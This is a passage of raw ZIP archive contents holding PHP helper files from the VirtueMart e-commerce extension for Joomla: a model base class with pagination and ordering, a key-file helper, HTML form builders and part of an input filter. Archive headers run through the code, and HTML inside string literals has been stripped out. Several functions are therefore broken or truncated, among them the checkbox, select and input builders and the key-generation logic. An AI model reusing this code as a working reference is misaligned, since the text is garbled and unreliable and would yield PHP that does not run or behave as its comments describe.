-href'); break; case 'remove': // Remove bad/disallowed tags altogether instead of converting them to entities -- $config = array('safe'=>1,'keep_bad'=>0); // Allowing attribute title only in a and not allowing attributes id, style, or scriptable on* attributes like onclick -- // $config = array('deny_attribute'=>'title, id, style, on*'); // $spec = 'a=title'; // $out = vmFilter($in, $config, $spec); case 'text': default: //only text and br-- $config = array('elements'=>'strong', 'safe'=>1); break; } return $config; } static function mail($v){ $v = str_replace('mailto:','', $v); $v = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$v); return $v; //This does not work, I get a blank email //$regx = "@[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*\@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?@"; //return preg_replace($regx ,'', $v); } function phone($v){ $regx = "~^[0-9,+,(), ,]{1,}(,[0-9]+){0,}$~"; return preg_replace($regx ,'', $v); } static function urlcheck($v) { if (!preg_match("#(http|ftp|https)#",$v)) $v = "http://".$v ; $regx = "#(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?#"; $site = preg_replace($regx ,'', $v); if ($file = @fopen($site, 'r')) { return $v ; } else return ''; } }PKs>\\&PP"com_virtuemart/helpers/vmmodel.phpnuW+A_cidName = $cidName; // Get the task $task = JRequest::getWord('task',''); if($task!=='add'){ // Get the id or array of ids. $idArray = JRequest::getVar($this->_cidName, 0, '', 'array'); if(empty($idArray[0])) $idArray[0] = 0; $this->setId((int)$idArray[0]); } $this->setToggleName('published'); } static private $_vmmodels = array(); /** * * @author Patrick Kohl * @author Max Milbers */ static function getModel($name=false){ if (!$name){ $name = JRequest::getCmd('view',''); // vmdebug('Get standard model of the view'); } $name = strtolower($name); $className = 'VirtueMartModel'.ucfirst($name); if(empty(self::$_vmmodels[strtolower($className)])){ if( !class_exists($className) ){ $modelPath = JPATH_VM_ADMINISTRATOR.DS."models".DS.$name.".php"; if( file_exists($modelPath) ){ require( $modelPath ); } else{ JError::raiseWarning( 0, 'Model '. $name .' not found.' ); echo 'File for Model '. $name .' not found.'; return false; } } self::$_vmmodels[strtolower($className)] = new $className(); return self::$_vmmodels[strtolower($className)]; } else { return self::$_vmmodels[strtolower($className)]; } } public function setIdName($idName){ $this->_idName = $idName; } public function getIdName(){ return $this->_idName; } public function getId(){ return $this->_id; } /** * Resets the id and data * * @author Max Milbers */ function setId($id){ if(is_array($id) && count($id)!==0) $id = $id[0]; if($this->_id!=$id){ $this->_id = (int)$id; $this->_data = null; } return $this->_id; } public function setMainTable($maintablename,$maintable=0){ $this->_maintablename = $maintablename; if(empty($maintable)){ $this->_maintable = '#__virtuemart_'.$maintablename; } else { $this->_maintable = $maintable; } $defaultTable = $this->getTable($this->_maintablename); $this->_idName = $defaultTable->getKeyName(); $this->setDefaultValidOrderingFields($defaultTable); $this->_selectedOrdering = $this->_validOrderingFieldName[0]; } function getDefaultOrdering(){ return $this->_selectedOrdering; } function addvalidOrderingFieldName($add){ $this->_validOrderingFieldName = array_merge($this->_validOrderingFieldName,$add); } function removevalidOrderingFieldName($name){ $key=array_search($name, $this->_validOrderingFieldName); if($key!==false){ unset($this->_validOrderingFieldName[$key]) ; } } var $_tablePreFix = ''; /** * * This function sets the valid ordering fields for this model with the default table attributes * @author Max Milbers * @param unknown_type $defaultTable */ function setDefaultValidOrderingFields($defaultTable=null){ if($defaultTable===null){ $defaultTable = $this->getTable($this->_maintablename); } $this->_tablePreFix = $defaultTable->_tablePreFix; $dTableArray = get_object_vars($defaultTable); // Iterate over the object variables to build the query fields and values. foreach ($dTableArray as $k => $v){ // Ignore any internal fields. $posUnderLine = strpos ($k,'_'); if (( $posUnderLine!==false && $posUnderLine === 0) ) { continue; } // $this->_validOrderingFieldName[] = $this->_tablePreFix.$k; $this->_validOrderingFieldName[] = $k; } } function _getOrdering($preTable='') { if(empty($this->_selectedOrdering)) vmTrace('empty _getOrdering'); if(empty($this->_selectedOrderingDir)) vmTrace('empty _selectedOrderingDir'); return ' ORDER BY '.$preTable.$this->_selectedOrdering.' '.$this->_selectedOrderingDir ; } var $_validOrderingFieldName = array(); function checkFilterOrder($toCheck){ if(empty($toCheck)) return $this->_selectedOrdering; //vmdebug('checkFilterOrder',$this->_validOrderingFieldName); if(!in_array($toCheck, $this->_validOrderingFieldName)){ $break = false; vmSetStartTime(); foreach($this->_validOrderingFieldName as $name){ if(!empty($name) and strpos($name,$toCheck)!==FALSE){ $this->_selectedOrdering = $name; $break = true; break; } } if(!$break){ $app = JFactory::getApplication(); $view = JRequest::getWord('view','virtuemart'); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order',$this->_selectedOrdering); } //vmdebug('checkValidOrderingField:'.get_class($this).' programmer choosed invalid ordering '.$toCheck.', use '.$this->_selectedOrdering); } else { $this->_selectedOrdering = $toCheck; } return $this->_selectedOrdering; } var $_validFilterDir = array('ASC','DESC'); function checkFilterDir($toCheck){ $filter_order_Dir = strtoupper($toCheck); if(empty($filter_order_Dir) or !in_array($filter_order_Dir, $this->_validFilterDir)){ // vmdebug('checkFilterDir: programmer choosed invalid ordering direction '.$filter_order_Dir,$this->_validFilterDir); // vmTrace('checkFilterDir'); $filter_order_Dir = $this->_selectedOrderingDir; $view = JRequest::getWord('view','virtuemart'); $app = JFactory::getApplication(); $app->setUserState( 'com_virtuemart.'.$view.'.filter_order_Dir',$filter_order_Dir); } // vmdebug('checkFilterDir '.$filter_order_Dir); $this->_selectedOrderingDir = $filter_order_Dir; return $this->_selectedOrderingDir; } /** * Loads the pagination * * @author Max Milbers */ public function getPagination($perRow = 5) { if(empty($this->_limit) ){ $this->setPaginationLimits(); } $this->_pagination = new VmPagination($this->_total , $this->_limitStart, $this->_limit , $perRow ); // } // vmdebug('$this->pagination $total '.$this->_total,$this->_pagination);vmTrace('getPagination'); return $this->_pagination; } public function setPaginationLimits(){ $app = JFactory::getApplication(); $view = JRequest::getWord('view',$this->_maintablename); $limit = (int)$app->getUserStateFromRequest('com_virtuemart.'.$view.'.limit', 'limit'); if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState('limit', $limit); $this->setState('com_virtuemart.'.$view.'.limit',$limit); $this->_limit = $limit; $limitStart = $app->getUserStateFromRequest('com_virtuemart.'.$view.'.limitstart', 'limitstart', JRequest::getInt('limitstart',0), 'int'); //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil((float)$limitStart/(float)$limit) * $limit; $this->setState('limitstart', $limitStart); $this->setState('com_virtuemart.'.$view.'.limitstart',$limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart,$this->_limit); } /** * Gets the total number of entries *TODO filters and search ar not set * @author Max Milbers * @return int Total number of entries in the database */ public function getTotal() { if (empty($this->_total)) { $query = 'SELECT `'.$this->_db->getEscaped($this->_idName).'` FROM `'.$this->_db->getEscaped($this->_maintable).'`';; $this->_db->setQuery( $query ); if(!$this->_db->query()){ if(empty($this->_maintable)) vmError('Model '.get_class( $this ).' has no maintable set'); $this->_total = 0; } else { $this->_total = $this->_db->getNumRows(); } // $this->_total = $this->_getListCount($query); } return $this->_total; } public function setGetCount($withCount){ $this->_withCount = $withCount; } /** * * exeSortSearchListQuery * * @author Max Milbers * @author Patrick Kohl * @param boolean $object use single result array = 2, assoc. array = 1 or object list = 0 as return value * @param string $select the fields to select * @param string $joinedTables the string of the joined tables or the table * @param string $whereString for the where condition * @param string $groupBy * @param string $orderBy * @param string $filter_order_Dir */ public function exeSortSearchListQuery($object, $select, $joinedTables, $whereString = '', $groupBy = '', $orderBy = '', $filter_order_Dir = '', $nbrReturnProducts = false){ // vmSetStartTime('exe'); // if(USE_SQL_CALC_FOUND_ROWS){ //and the where conditions $joinedTables .="\n".$whereString."\n".$groupBy."\n".$orderBy.' '.$filter_order_Dir ; // $joinedTables .= $whereString .$groupBy .$orderBy; if($nbrReturnProducts){ $limitStart = 0; $limit = $nbrReturnProducts; $this->_withCount = false; } else if($this->_noLimit){ $this->_withCount = false; $limitStart = 0; $limit = 0; } else { $limits = $this->setPaginationLimits(); $limitStart = $limits[0]; $limit = $limits[1]; } if($this->_withCount){ $q = 'SELECT SQL_CALC_FOUND_ROWS '.$select.$joinedTables; } else { $q = 'SELECT '.$select.$joinedTables; } if($this->_noLimit or empty($limit)){ // vmdebug('exeSortSearchListQuery '.get_class($this).' no limit'); $this->_db->setQuery($q); } else { $this->_db->setQuery($q,$limitStart,$limit); // vmdebug('exeSortSearchListQuery '.get_class($this).' with limit'); } //vmdebug('exeSortSearchListQuery '.$orderBy .$filter_order_Dir,$q); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } if($err=$this->_db->getErrorMsg()){ vmError('exeSortSearchListQuery '.$err); } //vmdebug('my $limitStart '.$limitStart.' $limit '.$limit.' q ',$q ); if($this->_withCount){ $this->_db->setQuery('SELECT FOUND_ROWS()'); $count = $this->_db->loadResult(); if($count == false){ $count = 0; } $this->_total = $count; if($limitStart>=$count){ if(empty($limit)){ $limit = 1.0; } $limitStart = floor($count/$limit); $this->_db->setQuery($q,$limitStart,$limit); if($object == 2){ $this->ids = $this->_db->loadResultArray(); } else if($object == 1 ){ $this->ids = $this->_db->loadAssocList(); } else { $this->ids = $this->_db->loadObjectList(); } } // $this->getPagination(true); } else { $this->_withCount = true; } //print_r( $this->_db->_sql ); // vmdebug('my $list',$list); if(empty($this->ids)){ $errors = $this->_db->getErrorMsg(); if( !empty( $errors)){ vmdebug('exeSortSearchListQuery error in class '.get_class($this).' sql:',$this->_db->getErrorMsg()); } if($object == 2 or $object == 1){ $this->ids = array(); } } // vmTime('exeSortSearchListQuery SQL_CALC_FOUND_ROWS','exe'); return $this->ids; } /** * * @author Max Milbers * */ public function getData(){ if (empty($this->_data)) { $this->_data = $this->getTable($this->_maintablename); $this->_data->load($this->_id); //just an idea if(isset($this->_data->virtuemart_vendor_id) && empty($this->_data->virtuemart_vendor_id)){ if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $this->_data->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor(); } } return $this->_data; } public function store(&$data){ $table = $this->getTable($this->_maintablename); $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError( get_class( $this ).'::store '.$error); } if(is_object($data)){ $_idName = $this->_idName; return $data->$_idName; } else { return $data[$this->_idName]; } } /** * Delete all record ids selected * * @author Max Milbers * @return boolean True is the delete was successful, false otherwise. */ public function remove($ids) { $table = $this->getTable($this->_maintablename); foreach($ids as $id) { if (!$table->delete((int)$id)) { vmError(get_class( $this ).'::remove '.$id.' '.$table->getError()); return false; } } return true; } public function setToggleName($togglesName){ $this->_togglesName[] = $togglesName ; } /** * toggle (0/1) a field * or invert by $val for multi IDS; * @author Patrick Kohl * @param string $field the field to toggle * @param string $postName the name of id Post (Primary Key in table Class constructor) */ function toggle($field,$val = NULL, $cidname = 0,$tablename = 0 ) { $ok = true; if (!in_array($field, $this->_togglesName)) { return false ; } if($tablename === 0) $tablename = $this->_maintablename; if($cidname === 0) $cidname = $this->_cidName; $table = $this->getTable($tablename); //if(empty($cidName)) $cidName = $this->_cidName; $ids = JRequest::getVar( $cidname, JRequest::getVar('cid',array(0)), 'post', 'array' ); foreach($ids as $id){ $table->load( (int)$id ); if (!$table->toggle($field, $val)) { // if (!$table->store()) { vmError(get_class( $this ).'::toggle '.$table->getError() .' '.$id); $ok = false; } } return $ok; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function move($direction, $filter=null) { $table = $this->getTable($this->_maintablename); if (!$table->load($this->_id)) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } if (!$table->move( $direction, $filter )) { vmError('VmModel move '.$this->_db->getErrorMsg()); return false; } return true; } /** * Original From Joomla Method to move a weblink * @ Author Kohl Patrick * @$filter the field to group by * @access public * @return boolean True on success * @since 1.5 */ function saveorder($cid = array(), $order, $filter = null) { $table = $this->getTable($this->_maintablename); $groupings = array(); // update ordering values for( $i=0; $i < count($cid); $i++ ) { $table->load( (int) $cid[$i] ); // track categories if ($filter) $groupings[] = $table->$filter; if ($table->ordering != $order[$i]) { $table->ordering = $order[$i]; if (!$table->store()) { vmError('VmModel saveorder '.$this->_db->getErrorMsg()); return false; } } } // execute updateOrder for each parent group if ($filter) { $groupings = array_unique( $groupings ); foreach ($groupings as $group){ $table->reorder( $filter.' = '.(int) $group); } } return true; } /** * Since an object like product, category dont need always an image, we can attach them to the object with this function * The parameter takes a single product or arrays of products, look for BE/views/product/view.html.php * for an exampel using it * * @author Max Milbers * @param object $obj some object with a _medias xref table */ public function addImages($obj,$limit=0){ $mediaModel = VmModel::getModel('Media'); $mediaModel->attachImages($obj,$this->_maintablename,'image',$limit); } public function resetErrors(){ $this->_errors = array(); } } jimport('joomla.html.pagination'); class VmPagination extends JPagination { private $_perRow = 5; function __construct($total, $limitstart, $limit, $perRow=5){ if($perRow!==0){ $this->_perRow = $perRow; } parent::__construct($total, $limitstart, $limit); } /** Creates a dropdown box for selecting how many records to show per page. * Modification of Joomla Core libraries/html/pagination.php getLimitBox function * The function uses as sequence a generic function or a sequence configured in the vmconfig * * use in a view.html.php $vmModel->setPerRow($perRow); to activate it * * @author Joe Motacek (Cleanshooter) * @author Max Milbers * @return string The HTML for the limit # input box. * @since 11.1 */ function setSequence($sequence){ $this->_sequence = $sequence; } function getLimitBox($sequence=0) { $app = JFactory::getApplication(); // Initialize variables $limits = array (); $selected = $this->_viewall ? 0 : $this->limit; // Build the select list if ($app->isAdmin()) { if(empty($sequence)){ $sequence = VmConfig::get('pagseq',0); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', $items); } } } if(empty($limits)){ $limits[15] = JHTML::_('select.option', 15); $limits[30] = JHTML::_('select.option', 30); $limits[50] = JHTML::_('select.option', 50); $limits[100] = JHTML::_('select.option', 100); $limits[200] = JHTML::_('select.option', 200); $limits[400] = JHTML::_('select.option', 400); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', $this->limit); ksort($limits); } $namespace = ''; if (JVM_VERSION!==1) { $namespace = 'Joomla.'; } $html = JHTML::_('select.genericlist', $limits, 'limit', 'class="inputbox" size="1" onchange="'.$namespace.'submitform();"', 'value', 'text', $selected); } else { $getArray = (JRequest::get( 'get' )); $link =''; unset ($getArray['limit']); // foreach ($getArray as $key => $value ) $link .= '&'.$key.'='.$value; foreach ($getArray as $key => $value ){ if (is_array($value)){ foreach ($value as $k => $v ){ $link .= '&'.$key.'['.$k.']'.'='.$v; } } else { $link .= '&'.$key.'='.$value; } } $link[0] = "?"; $link = 'index.php'.$link ; if(empty($sequence)){ $sequence = VmConfig::get('pagseq_'.$this->_perRow); } if(!empty($sequence)){ $sequenceArray = explode(',', $sequence); if(count($sequenceArray>1)){ foreach($sequenceArray as $items){ $limits[$items]=JHtml::_('select.option', JRoute::_( $link.'&limit='. $items, false), $items); } } } if(empty($limits) or !is_array($limits)){ if($this->_perRow===1) $this->_perRow = 5; $limits[$this->_perRow * 5] = JHtml::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 5, false) ,$this->_perRow * 5); $limits[$this->_perRow * 10] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 10, false) , $this->_perRow * 10 ); $limits[$this->_perRow * 20] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 20, false) , $this->_perRow * 20 ); $limits[$this->_perRow * 50] = JHTML::_('select.option',JRoute::_( $link.'&limit='. $this->_perRow * 50, false) , $this->_perRow * 50 ); } if(!array_key_exists($this->limit,$limits)){ $limits[$this->limit] = JHTML::_('select.option', JRoute::_( $link.'&limit='.$this->limit,false),$this->limit); ksort($limits); } $selected= JRoute::_( $link.'&limit='. $selected,false) ; $js = 'onchange="window.top.location.href=this.options[this.selectedIndex].value"'; $html = JHTML::_('select.genericlist', $limits, '', 'class="inputbox" size="1" '.$js , 'value', 'text', $selected); } return $html; } } PKs>\Ě"com_virtuemart/helpers/vmcrypt.phpnuW+A0){ ksort($existingKeys); if(!empty($date)){ $key = ''; foreach($existingKeys as $unixDate=>$values){ if(($unixDate-30) >= $date ){ vmdebug('$unixDate '.$unixDate.' >= $date '.$date); continue; } vmdebug('$unixDate < $date'); //$usedKey = $values; $key = $values['key']; } vmdebug('Use key file ',$key); //include($keyPath .DS. $usedKey.'.php'); } else { $usedKey = end($existingKeys); $key = $usedKey['key']; } vmTime('my time','check'); return $key; } else { $usedKey = date("ymd"); $filename = $keyPath . DS . $usedKey . '.ini'; if (!JFile::exists ($filename)) { $token = JUtility::getHash(JUserHelper::genRandomPassword()); $salt = JUserHelper::getSalt('crypt-md5'); $hashedToken = md5($token . $salt) ; $key = base64_encode($hashedToken); //$options = array('costs'=>VmConfig::get('cryptCost',8)); /*if(!function_exists('password_hash')){ require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'password_compat.php'); } if(function_exists('password_hash')){ $key = password_hash($key, PASSWORD_BCRYPT, $options); }*/ $date = JFactory::getDate(); $today = $date->toUnix(); //$key = pack('H*',$key); $content = ';'; $result = JFile::write($filename, $content); vmTime('my time','check'); return $key; } } vmTime('my time','check'); //return pack('H*',$key); } private static function _getEncryptSafepath () { if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); $safePath = ShopFunctions::checkSafePath(); if (empty($safePath)) { return NULL; } $encryptSafePath = $safePath . self::ENCRYPT_SAFEPATH; //echo 'my $encryptSafePath '.$encryptSafePath; //if(!JFolder::exists($encryptSafePath)){ self::createEncryptFolder($encryptSafePath); //} return $encryptSafePath; } private static function createEncryptFolder ($folderName) { //$folderName = self::_getEncryptSafepath (); $exists = JFolder::exists ($folderName); if ($exists) { return TRUE; } $created = JFolder::create ($folderName); if ($created) { return TRUE; } $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('COM_VIRTUEMART_CANNOT_STORE_CONFIG', $folderName, '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return FALSE; } }PKs>\,SScom_virtuemart/helpers/html.phpnuW+A array('option.attr' => null, 'option.disable' => 'disable', 'option.id' => null, 'option.key' => 'value', 'option.key.toHtml' => true, 'option.label' => null, 'option.label.toHtml' => true, 'option.text' => 'text', 'option.text.toHtml' => true)); /** * Converts all special chars to html entities * * @param string $string * @param string $quote_style * @param boolean $only_special_chars Only Convert Some Special Chars ? ( <, >, &, ... ) * @return string */ static function shopMakeHtmlSafe( $string, $quote_style='ENT_QUOTES', $use_entities=false ) { if( defined( $quote_style )) { $quote_style = constant($quote_style); } if( $use_entities ) { $string = @htmlentities( $string, constant($quote_style), self::vmGetCharset() ); } else { $string = @htmlspecialchars( $string, $quote_style, self::vmGetCharset() ); } return $string; } /** * Returns the charset string from the global _ISO constant * * @return string UTF-8 by default * @since 1.0.5 */ static function vmGetCharset() { $iso = explode( '=', @constant('_ISO') ); if( !empty( $iso[1] )) { return $iso[1]; } else { return 'UTF-8'; } } /** * Generate HTML code for a row using VmHTML function * works also with shopfunctions, for example * $html .= VmHTML::row (array('ShopFunctions', 'renderShopperGroupList'), * 'VMCUSTOM_BUYER_GROUP_SHOPPER', $field->shopper_groups, TRUE, 'custom_param['.$row.'][shopper_groups][]', ' '); * * @func string : function to call * @label string : Text Label * @args array : arguments * @return string: HTML code for row table */ static function row($func,$label){ $VmHTML="VmHTML"; if (!is_array($func)) { $func = array($VmHTML, $func); } $passedArgs = func_get_args(); array_shift( $passedArgs );//remove function array_shift( $passedArgs );//remove label $args = array(); foreach ($passedArgs as $k => $v) { $args[] = &$passedArgs[$k]; } $lang =JFactory::getLanguage(); if($lang->hasKey($label.'_TIP')){ $labelHint = vmText::_($label.'_TIP'); $label = ''.vmText::_($label).'' ; } //Fallback else if($lang->hasKey($label.'_EXPLAIN')){ $labelHint = vmText::_($label.'_EXPLAIN'); $label = ''.vmText::_($label).'' ; } else { $label = vmText::_($label); } $html = ' '.$label.' '.call_user_func_array($func, $args).' '; return $html ; } /* simple value display */ static function value( $value ){ $lang =JFactory::getLanguage(); return $lang->hasKey($value) ? vmText::_($value) : $value; } /** * The sense is unclear ! * @deprecated * @param $value * @return mixed */ static function raw( $value ){ return $value; } /** * Generate HTML code for a checkbox * * @param string Name for the checkbox * @param mixed Current value of the checkbox * @param mixed Value to assign when checkbox is checked * @param mixed Value to assign when checkbox is not checked * @return string HTML code for checkbox */ static function checkbox($name, $value, $checkedValue=1, $uncheckedValue=0, $extraAttribs = '', $id = null) { if (!$id) $id=$name ; if ($value == $checkedValue) { $checked = 'checked="checked"'; } else { $checked = ''; } $htmlcode = ''; $htmlcode .= ''; return $htmlcode; } /** * * @author Patrick Kohl * @param array $options( value & text) * @param string $name option name * @param string $defaut defaut value * @param string $key option value * @param string $text option text * @param boolean $zero add a '0' value in the option * return a select list */ public static function select($name, $options, $default = '0',$attrib = "onchange='submit();'",$key ='value' ,$text ='text', $zero=true, $chosenDropDowns=true,$tranlsate=true){ if ($zero==true) { $option = array($key =>"0", $text => vmText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION')); $options = array_merge(array($option), $options); } if ($chosenDropDowns) { vmJsApi::chosenDropDowns(); $attrib .= ' class="vm-chzn-select"'; } return VmHTML::genericlist($options,$name,$attrib,$key,$text,$default,false,$tranlsate); } /** * Generates an HTML selection list. * @author Joomla 2.5.14 * @param array $data An array of objects, arrays, or scalars. * @param string $name The value of the HTML name attribute. * @param mixed $attribs Additional HTML attributes for the ' . $options['format.eol']; return $html; } /** * Generates the option tags for an HTML select list (with no select tag * surrounding the options). * @author Joomla 2.5.14 * @param array $arr An array of objects, arrays, or values. * @param mixed $optKey If a string, this is the name of the object variable for * the option value. If null, the index of the array of objects is used. If * an array, this is a set of options, as key/value pairs. Valid options are: * -Format options, {@see JHtml::$formatOptions}. * -groups: Boolean. If set, looks for keys with the value * "<optgroup>" and synthesizes groups from them. Deprecated. Defaults * true for backwards compatibility. * -list.select: either the value of one selected option or an array * of selected options. Default: none. * -list.translate: Boolean. If set, text and labels are translated via * JText::_(). Default is false. * -option.id: The property in each option array to use as the * selection id attribute. Defaults to none. * -option.key: The property in each option array to use as the * selection value. Defaults to "value". If set to null, the index of the * option array is used. * -option.label: The property in each option array to use as the * selection label attribute. Defaults to null (none). * -option.text: The property in each option array to use as the * displayed text. Defaults to "text". If set to null, the option array is * assumed to be a list of displayable scalars. * -option.attr: The property in each option array to use for * additional selection attributes. Defaults to none. * -option.disable: The property that will hold the disabled state. * Defaults to "disable". * -option.key: The property that will hold the selection value. * Defaults to "value". * -option.text: The property that will hold the the displayed text. * Defaults to "text". If set to null, the option array is assumed to be a * list of displayable scalars. * @param string $optText The name of the object variable for the option text. * @param mixed $selected The key that is selected (accepts an array or a string) * @param boolean $translate Translate the option values. * * @return string HTML for the select list * * @since 11.1 */ public static function options($arr, $optKey = 'value', $optText = 'text', $selected = null, $translate = false) { $options = array_merge( JHtml::$formatOptions, self::$_optionDefaults['option'], array('format.depth' => 0, 'groups' => true, 'list.select' => null, 'list.translate' => false) ); if (is_array($optKey)) { // Set default options and overwrite with anything passed in $options = array_merge($options, $optKey); } else { // Get options from the parameters $options['option.key'] = $optKey; $options['option.text'] = $optText; $options['list.select'] = $selected; $options['list.translate'] = $translate; } $html = ''; $baseIndent = str_repeat($options['format.indent'], $options['format.depth']); foreach ($arr as $elementKey => &$element) { $attr = ''; $extra = ''; $label = ''; $id = ''; if (is_array($element)) { $key = $options['option.key'] === null ? $elementKey : $element[$options['option.key']]; $text = $element[$options['option.text']]; if (isset($element[$options['option.attr']])) { $attr = $element[$options['option.attr']]; } if (isset($element[$options['option.id']])) { $id = $element[$options['option.id']]; } if (isset($element[$options['option.label']])) { $label = $element[$options['option.label']]; } if (isset($element[$options['option.disable']]) && $element[$options['option.disable']]) { $extra .= ' disabled="disabled"'; } } elseif (is_object($element)) { $key = $options['option.key'] === null ? $elementKey : $element->$options['option.key']; $text = $element->$options['option.text']; if (isset($element->$options['option.attr'])) { $attr = $element->$options['option.attr']; } if (isset($element->$options['option.id'])) { $id = $element->$options['option.id']; } if (isset($element->$options['option.label'])) { $label = $element->$options['option.label']; } if (isset($element->$options['option.disable']) && $element->$options['option.disable']) { $extra .= ' disabled="disabled"'; } } else { // This is a simple associative array $key = $elementKey; $text = $element; } // The use of options that contain optgroup HTML elements was // somewhat hacked for J1.5. J1.6 introduces the grouplist() method // to handle this better. The old solution is retained through the // "groups" option, which defaults true in J1.6, but should be // deprecated at some point in the future. $key = (string) $key; // if no string after hyphen - take hyphen out $splitText = explode(' - ', $text, 2); $text = $splitText[0]; if (isset($splitText[1])) { $text .= ' - ' . $splitText[1]; } if ($options['list.translate'] && !empty($label)) { $label = vmText::_($label); } if ($options['option.label.toHtml']) { $label = htmlentities($label); } if (is_array($attr)) { $attr = JArrayHelper::toString($attr); } else { $attr = trim($attr); } $extra = ($id ? ' id="' . $id . '"' : '') . ($label ? ' label="' . $label . '"' : '') . ($attr ? ' ' . $attr : '') . $extra; if (is_array($options['list.select'])) { foreach ($options['list.select'] as $val) { $key2 = is_object($val) ? $val->$options['option.key'] : $val; if ($key == $key2) { $extra .= ' selected="selected"'; break; } } } elseif ((string) $key == (string) $options['list.select']) { $extra .= ' selected="selected"'; } if ($options['list.translate']) { $text = vmText::_($text); } // Generate the option, encoding as required $html .= $baseIndent . '' . $options['format.eol']; } return $html; } /** * Prints an HTML dropdown box named $name using $arr to * load the drop down. If $value is in $arr, then $value * will be the selected option in the dropdown. * @author gday * @author soeren * * @param string $name The name of the select element * @param string $value The pre-selected value * @param array $arr The array containing $key and $val * @param int $size The size of the select element * @param string $multiple use "multiple=\"multiple\" to have a multiple choice select list * @param string $extra More attributes when needed * @return string HTML drop-down list */ static function selectList($name, $value, $arrIn, $size=1, $multiple="", $extra="", $data_placeholder='') { $html = ''; if( empty( $arrIn ) ) { $arr = array(); } else { if(!is_array($arrIn)){ $arr=array($arrIn); } else { $arr=$arrIn; } } if (!empty($data_placeholder)) { $data_placeholder='data-placeholder="'.vmText::_($data_placeholder).'"'; } $html = ''; return $html; } /** * Creates a Radio Input List * * @param string $name * @param string $value default value * @param string $arr * @param string $extra * @return string */ static function radioList($name, $value, &$arr, $extra="", $separator='
      ') { $html = ''; if( empty( $arr ) ) { $arr = array(); } $html = ''; $i = 0; foreach($arr as $key => $val) { $checked = ''; if( is_array( $value )) { if( in_array( $key, $value )) { $checked = 'checked="checked"'; } } else { if(strtolower($value) == strtolower($key) ) { $checked = 'checked="checked"'; } } $html .= '\n"; $html .= '".$separator."\n"; } return $html; } /** * Creates radio List * @param array $radios * @param string $name * @param string $default * @return string */ static function radio( $name, $radios, $default,$key='value',$text='text') { return '
      '.JHTML::_('select.radiolist', $radios, $name, '', $key, $text, $default).'
      '; } /** * Creating rows with boolean list * * @author Patrick Kohl * @param string $label * @param string $name * @param string $value * */ public static function booleanlist ( $name, $value,$class='class="inputbox"'){ return '
      '.JHTML::_( 'select.booleanlist', $name , $class , $value).'
      ' ; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function input($name,$value,$class='class="inputbox"',$readonly='',$size='37',$maxlength='255',$more=''){ return ''.$more; } /** * Creating rows with input fields * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function textarea($name,$value,$class='class="inputbox"',$cols='100',$rows="4"){ return ''; } /** * render editor code * * @author Patrick Kohl * @param string $text * @param string $name * @param string $value */ public static function editor($name,$value,$size='100%',$height='300',$hide = array('pagebreak', 'readmore')){ $editor =JFactory::getEditor(); return $editor->display($name, $value, $size, $height, null, null ,$hide ) ; } /** * renders the hidden input * @author Max Milbers */ public static function inputHidden($values){ $html=''; foreach($values as $k=>$v){ $html .= ''; } return $html; } /** * @author Patrick Kohl * @var $type type of regular Expression to validate * $type can be I integer, F Float, A date, M, time, T text, L link, U url, P phone *@bool $required field is required *@Int $min minimum of char *@Int $max max of char *@var $match original ID field to compare with this such as Email, passsword *@ Return $html class for validate javascript **/ public static function validate($type='',$required=true, $min=null,$max=null,$match=null) { if ($required) $validTxt = 'required'; else $validTxt = 'optional'; if (isset($min)) $validTxt .= ',minSize['.$min.']'; if (isset($max)) $validTxt .= ',maxSize['.$max.']'; static $validateID=0 ; $validateID++; if ($type=='S' ) return 'id="validate'.$validateID.'" class="validate[required,minSize[2],maxSize[255]]"'; $validate = array ( 'I'=>'onlyNumberSp', 'F'=>'number','D'=>'dateTime','A'=>'date','M'=>'time','T'=>'Text','L'=>'link','U'=>'url','P'=>'phone'); if (isset ($validate[$type])) $validTxt .= ',custom['.$validate[$type].']'; $html ='id="validate'.$validateID.'" class="validate['.$validTxt.']"'; return $html ; } }PKs>\ (ko^^+com_virtuemart/virtuemart_defaults.cfg-distnuW+A# Required configuration data for the VirtueMart installer # http://www.virtuemart.net # Copyright (c) 2004 - 2010 VirtueMart Team. All rights reserved. # 